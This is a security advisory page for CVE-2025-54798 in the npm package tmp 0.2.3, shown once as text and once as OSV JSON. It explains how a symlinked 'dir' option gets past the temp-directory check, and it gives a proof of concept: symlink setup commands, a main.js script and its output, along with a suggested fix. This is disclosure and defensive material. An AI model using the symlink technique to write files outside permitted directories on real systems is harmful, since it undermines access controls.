ghsa-52f5-9888-hmc6
Vulnerability from github
Published
2025-08-06 17:06
Modified
2025-11-03 21:34
Summary
tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter
Details

Summary

tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.

Details

According to the documentation there are some conditions that must be held:

``` // https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50

Other breaking changes, i.e.

  • template must be relative to tmpdir
  • name must be relative to tmpdir
  • dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks

are still in place.

In order to override the system's tmpdir, you will have to use the newly introduced tmpdir option.

// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375 * dir: the optional temporary directory that must be relative to the system's default temporary directory. absolute paths are fine as long as they point to a location under the system's default temporary directory. Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, as tmp will not check the availability of the path, nor will it establish the requested path for you. ```

Related issue: https://github.com/raszi/node-tmp/issues/207.

The issue occurs because _resolvePath does not properly handle symbolic link when resolving paths: js // https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579 function _resolvePath(name, tmpDir) { if (name.startsWith(tmpDir)) { return path.resolve(name); } else { return path.resolve(path.join(tmpDir, name)); } }

If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the _assertIsRelative check used in _assertAndSanitizeOptions: js // https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609 function _assertIsRelative(name, option, tmpDir) { if (option === 'name') { // assert that name is not absolute and does not contain a path if (path.isAbsolute(name)) throw new Error(`${option} option must not contain an absolute path, found "${name}".`); // must not fail on valid .<name> or ..<name> or similar such constructs let basename = path.basename(name); if (basename === '..' || basename === '.' || basename !== name) throw new Error(`${option} option must not contain a path, found "${name}".`); } else { // if (option === 'dir' || option === 'template') { // assert that dir or template are relative to tmpDir if (path.isAbsolute(name) && !name.startsWith(tmpDir)) { throw new Error(`${option} option must be relative to "${tmpDir}", found "${name}".`); } let resolvedPath = _resolvePath(name, tmpDir); //<--- if (!resolvedPath.startsWith(tmpDir)) throw new Error(`${option} option must be relative to "${tmpDir}", found "${resolvedPath}".`); } }

PoC

The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible. Tested on a Linux machine.

  • Setup: create a symbolic link inside the tmpDir that points to a directory outside of it ```bash mkdir $HOME/mydir1

ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir ```

  • check the folder is empty: bash ls -lha $HOME/mydir1 | grep "tmp-"

  • run the poc bash node main.js File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]' test 2: dir option must be relative to "/tmp", found "/foo". test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".

  • the temporary file is created under $HOME/mydir1 (outside the tmpDir): bash ls -lha $HOME/mydir1 | grep "tmp-" -rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]

  • main.js ```js // npm i tmp@0.2.3

const tmp = require('tmp');

const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'}); console.log('File: ', tmpobj.name);

try { tmp.fileSync({ 'dir': 'mydir1'}); } catch (err) { console.log('test 1:', err.message) }

try { tmp.fileSync({ 'dir': '/foo'}); } catch (err) { console.log('test 2:', err.message) }

try { const fs = require('node:fs'); const resolved = fs.realpathSync('/tmp/evil-dir'); tmp.fileSync({ 'dir': resolved}); } catch (err) { console.log('test 3:', err.message) } ```

A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links. js function _resolvePath(name, tmpDir) { let resolvedPath; if (name.startsWith(tmpDir)) { resolvedPath = path.resolve(name); } else { resolvedPath = path.resolve(path.join(tmpDir, name)); } return fs.realpathSync(resolvedPath); }

Impact

Arbitrary temporary file / directory write via symlink

Show details on source website


{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.2.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "tmp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54798"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-06T17:06:04Z",
    "nvd_published_at": "2025-08-07T01:15:26Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\n`tmp@0.2.3` is vulnerable to an Arbitrary temporary file / directory write via symbolic link `dir` parameter.\n\n\n### Details\n\nAccording to the documentation there are some conditions that must be held:\n\n```\n// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50\n\nOther breaking changes, i.e.\n\n- template must be relative to tmpdir\n- name must be relative to tmpdir\n- dir option must be relative to tmpdir //\u003c-- this assumption can be bypassed using symlinks\n\nare still in place.\n\nIn order to override the system\u0027s tmpdir, you will have to use the newly\nintroduced tmpdir option.\n\n\n// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375\n* `dir`: the optional temporary directory that must be relative to the system\u0027s default temporary directory.\n     absolute paths are fine as long as they point to a location under the system\u0027s default temporary directory.\n     Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, \n     as tmp will not check the availability of the path, nor will it establish the requested path for you.\n```\n\nRelated issue: https://github.com/raszi/node-tmp/issues/207.\n\n\nThe issue occurs because `_resolvePath` does not properly handle symbolic link when resolving paths:\n```js\n// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579\nfunction _resolvePath(name, tmpDir) {\n  if (name.startsWith(tmpDir)) {\n    return path.resolve(name);\n  } else {\n    return path.resolve(path.join(tmpDir, name));\n  }\n}\n```\n\nIf the `dir` parameter points to a symlink that resolves to a folder outside the `tmpDir`, it\u0027s possible to bypass the `_assertIsRelative` check used in `_assertAndSanitizeOptions`:\n```js\n// https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609\nfunction _assertIsRelative(name, option, tmpDir) {\n  if (option === \u0027name\u0027) {\n    // assert that name is not absolute and does not contain a path\n    if (path.isAbsolute(name))\n      throw new Error(`${option} option must not contain an absolute path, found \"${name}\".`);\n    // must not fail on valid .\u003cname\u003e or ..\u003cname\u003e or similar such constructs\n    let basename = path.basename(name);\n    if (basename === \u0027..\u0027 || basename === \u0027.\u0027 || basename !== name)\n      throw new Error(`${option} option must not contain a path, found \"${name}\".`);\n  }\n  else { // if (option === \u0027dir\u0027 || option === \u0027template\u0027) {\n    // assert that dir or template are relative to tmpDir\n    if (path.isAbsolute(name) \u0026\u0026 !name.startsWith(tmpDir)) {\n      throw new Error(`${option} option must be relative to \"${tmpDir}\", found \"${name}\".`);\n    }\n    let resolvedPath = _resolvePath(name, tmpDir); //\u003c--- \n    if (!resolvedPath.startsWith(tmpDir))\n      throw new Error(`${option} option must be relative to \"${tmpDir}\", found \"${resolvedPath}\".`);\n  }\n}\n```\n\n\n### PoC\n\nThe following PoC demonstrates how writing a tmp file on a folder outside the `tmpDir` is possible.\nTested on a Linux machine.\n\n- Setup: create a symbolic link inside the `tmpDir` that points to a directory outside of it\n```bash\nmkdir $HOME/mydir1\n\nln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir\n```\n\n- check the folder is empty:\n```bash\nls -lha $HOME/mydir1 | grep \"tmp-\"\n```\n\n- run the poc\n```bash\nnode main.js\nFile:  /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf\ntest 1: ENOENT: no such file or directory, open \u0027/tmp/mydir1/tmp-[random-id]\u0027\ntest 2: dir option must be relative to \"/tmp\", found \"/foo\".\ntest 3: dir option must be relative to \"/tmp\", found \"/home/user/mydir1\".\n```\n\n- the temporary file is created under `$HOME/mydir1` (outside the `tmpDir`):\n```bash\nls -lha $HOME/mydir1 | grep \"tmp-\"\n-rw------- 1 user user    0 Apr  X XX:XX tmp-[random-id]\n```\n\n\n- `main.js`\n```js\n// npm i tmp@0.2.3\n\nconst tmp = require(\u0027tmp\u0027);\n\nconst tmpobj = tmp.fileSync({ \u0027dir\u0027: \u0027evil-dir\u0027});\nconsole.log(\u0027File: \u0027, tmpobj.name);\n\ntry {\n    tmp.fileSync({ \u0027dir\u0027: \u0027mydir1\u0027});\n} catch (err) {\n    console.log(\u0027test 1:\u0027, err.message)\n}\n\ntry {\n    tmp.fileSync({ \u0027dir\u0027: \u0027/foo\u0027});\n} catch (err) {\n    console.log(\u0027test 2:\u0027, err.message)\n}\n\ntry {\n    const fs = require(\u0027node:fs\u0027);\n    const resolved = fs.realpathSync(\u0027/tmp/evil-dir\u0027);\n    tmp.fileSync({ \u0027dir\u0027: resolved});\n} catch (err) {\n    console.log(\u0027test 3:\u0027, err.message)\n}\n```\n\n\nA Potential fix could be to call `fs.realpathSync` (or similar) that resolves also symbolic links.\n```js\nfunction _resolvePath(name, tmpDir) {\n  let resolvedPath;\n  if (name.startsWith(tmpDir)) {\n    resolvedPath = path.resolve(name);\n  } else {\n    resolvedPath = path.resolve(path.join(tmpDir, name));\n  }\n  return fs.realpathSync(resolvedPath);\n}\n```\n\n\n### Impact\n\nArbitrary temporary file / directory write via symlink",
  "id": "GHSA-52f5-9888-hmc6",
  "modified": "2025-11-03T21:34:20Z",
  "published": "2025-08-06T17:06:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/raszi/node-tmp/security/advisories/GHSA-52f5-9888-hmc6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54798"
    },
    {
      "type": "WEB",
      "url": "https://github.com/raszi/node-tmp/issues/207"
    },
    {
      "type": "WEB",
      "url": "https://github.com/raszi/node-tmp/commit/188b25e529496e37adaf1a1d9dccb40019a08b1b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/raszi/node-tmp"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/08/msg00007.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "tmp allows arbitrary temporary file / directory write via symbolic link `dir` parameter"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…

Loading…